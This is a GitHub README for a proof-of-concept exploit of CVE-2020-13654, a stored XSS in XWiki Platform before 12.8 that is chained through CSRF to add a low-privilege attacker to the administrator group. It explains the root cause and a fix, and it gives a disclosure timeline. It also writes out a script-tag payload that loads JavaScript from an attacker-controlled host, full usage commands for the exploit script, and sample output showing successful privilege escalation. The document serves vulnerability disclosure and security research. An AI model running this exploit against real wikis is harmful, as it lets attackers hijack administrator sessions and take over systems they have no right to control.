Skip to content

Astaruf/CVE-2020-13654

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

6 Commits
 
 
 
 
 
 
 
 

Repository files navigation

CVE-2020-13654 - XWiki Platform < 12.8 - Stored XSS → CSRF → Privilege Escalation

Discovered & reported by: Astaruf
Full writeup: https://nstsec.com/en/posts/xwiki-xss-cve-2020-13654/
NVD entry: https://nvd.nist.gov/vuln/detail/CVE-2020-13654


Vulnerability

XWiki Platform before version 12.8 does not apply HTML encoding to user-controlled fields in the profile editor. The affected field confirmed during research is "Company" (under Edit → Personal Information), but other profile fields share the same code path.

When a profile page is rendered, the stored field value is output verbatim into the HTML without any call to $escapetool.xml() or equivalent escaping. An attacker with any authenticated account, including a freshly self-registered one, can store arbitrary HTML/JavaScript that executes persistently in the browser of every user who visits the profile, including administrators.

Root cause in the affected Velocity template:

## Vulnerable (< 12.8): value written directly to the DOM
$xwiki.getUserProperty($user, "company")

## Fixed (≥ 12.8): value HTML-encoded before output
$escapetool.xml($xwiki.getUserProperty($user, "company"))
Field Value
Product XWiki Platform
Affected versions < 12.8
Fixed in 12.8
CVSSv3 score 7.5 (High)
CWE CWE-116 — Improper Encoding or Escaping of Output

Attack Scenario

This PoC demonstrates a zero-click privilege escalation chain:

Low-privilege attacker account
        │
        ├─ stores <script src="http://attacker/payload.js"> in Company field
        ▼
  XWiki profile page (poisoned)
        │
        ├─ admin navigates to the page (e.g. via user list or support ticket)
        ▼
  Payload executes in admin browser session
        │
        ├─ fetches /bin/view/XWiki/XWikiAdminGroup  →  extracts CSRF token
        ├─ POSTs form_token + xpage=adduorg + name=attacker  →  adds attacker to XWikiAdminGroup
        │
        ▼
  Attacker now has full admin access

No admin interaction beyond a single page visit is required.


PoC

poc.py is a self-contained exploit script. It:

  1. Optionally self-registers a new low-privilege account via XWiki's open registration endpoint
  2. Authenticates the attacker account and injects the XSS payload into the Company profile field, preserving all other existing field values
  3. Verifies the payload is present in the rendered page source
  4. Starts an integrated HTTP server that serves the embedded JavaScript payload (/payload.js) and logs incoming beacons
  5. Waits for an administrator to visit the poisoned profile URL

When the admin visits the URL, the stored <script src="..."> tag loads payload.js from the attacker's server. The payload runs in the admin's authenticated browser context, silently adds the attacker's account to XWikiAdminGroup, and beacons the outcome back.

Usage

pip install -r requirements.txt

With self-registration (no pre-existing account needed):

python poc.py \
  --target     http://TARGET:8080 \
  --catcher    http://ATTACKER_IP:9000 \
  --username   hacker \
  --password   'P@ssw0rd123' \
  --register   \
  --first-name John \
  --last-name  Doe \
  --email      hacker@example.com

With an existing low-privilege account:

python poc.py \
  --target   http://TARGET:8080 \
  --catcher  http://ATTACKER_IP:9000 \
  --username hacker \
  --password 'P@ssw0rd123'

Arguments

Argument Required Description
--target XWiki base URL
--catcher Attacker-controlled URL (used to serve payload.js and collect beacons)
--username Attacker account username
--password Attacker account password
--register Auto-register the account before exploiting
--first-name if --register Registration first name
--last-name if --register Registration last name
--email if --register Registration email

Expected output

[*] Registering account 'hacker' ...
✅  Registration successful.
[*] Authenticating as 'hacker' ...
✅  Authenticated. Session: {'JSESSIONID': 'ABC...'}
[*] Injecting payload into 'hacker' profile ...
✅  Payload stored: <script src="http://192.168.1.10:9000/payload.js"></script>
[*] Verifying stored payload ...
✅  Payload confirmed in page source.

════════════════════════════════════════════════════════════
  EXPLOIT ARMED — WAITING FOR VICTIM

  Share this URL with (or wait for) an administrator to visit:
  >>>  http://TARGET:8080/bin/view/XWiki/hacker

  When triggered, the attacker account 'hacker'
  will be silently added to XWikiAdminGroup.
════════════════════════════════════════════════════════════

2024-01-15 10:23:01 [INFO] 📡 Payload executing in victim browser | 172.18.0.1 | START_PRIVESC_FOR_XWiki.hacker
2024-01-15 10:23:01 [INFO] 🎯 PRIVILEGE ESCALATION SUCCEEDED     | 172.18.0.1 | SUCCESS_ELEVATED_XWiki.hacker

Remediation

Upgrade to XWiki Platform ≥ 12.8.

The fix applies $escapetool.xml() to all user-controlled profile fields before they are rendered, preventing injection of raw HTML/JavaScript.

If an immediate upgrade is not possible, restrict self-registration and limit profile visibility to trusted users via XWiki's access rights management.


Timeline

Date Event
May 2020 Vulnerability discovered
May 2020 Reported to XWiki security team
Jul 2020 Patched in XWiki Platform 12.8
Nov 2020 CVE-2020-13654 assigned by MITRE
Dec 30, 2020 Public disclosure — nstsec.com

References


Disclaimer

This repository is provided for educational and authorized security research purposes only.
Do not use against systems you do not own or have explicit written permission to test.
The author assumes no liability for misuse.

About

CVE-2020-13654 - XWiki Platform < 12.8 - Stored XSS → CSRF → Account Takeover

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Contributors

Languages